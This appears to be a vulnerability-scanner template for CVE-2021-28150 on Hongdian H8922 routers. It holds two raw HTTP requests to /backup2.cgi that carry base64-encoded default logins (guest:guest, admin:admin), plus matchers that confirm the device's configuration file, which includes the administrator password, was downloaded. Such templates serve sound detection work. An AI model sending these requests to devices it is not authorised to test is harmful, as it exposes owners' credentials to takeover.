id: CVE-2021-28150

info:
  name: Hongdian Sensitive Information
  author: gy741
  severity: medium
  description: Hongdian H8922 3.0.5 devices allow the unprivileged guest user to read cli.conf (with the administrator password and other sensitive data) via /backup2.cgi.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28150
  tags: cve,cve2021,hongdian,exposure
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.50
    cve-id: CVE-2021-28150
    cwe-id: CWE-20

requests:
  - raw:
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/octet-stream"
        part: header

      - type: word
        words:
          - "CLI configuration saved from vty"
          - "service webadmin"
        part: body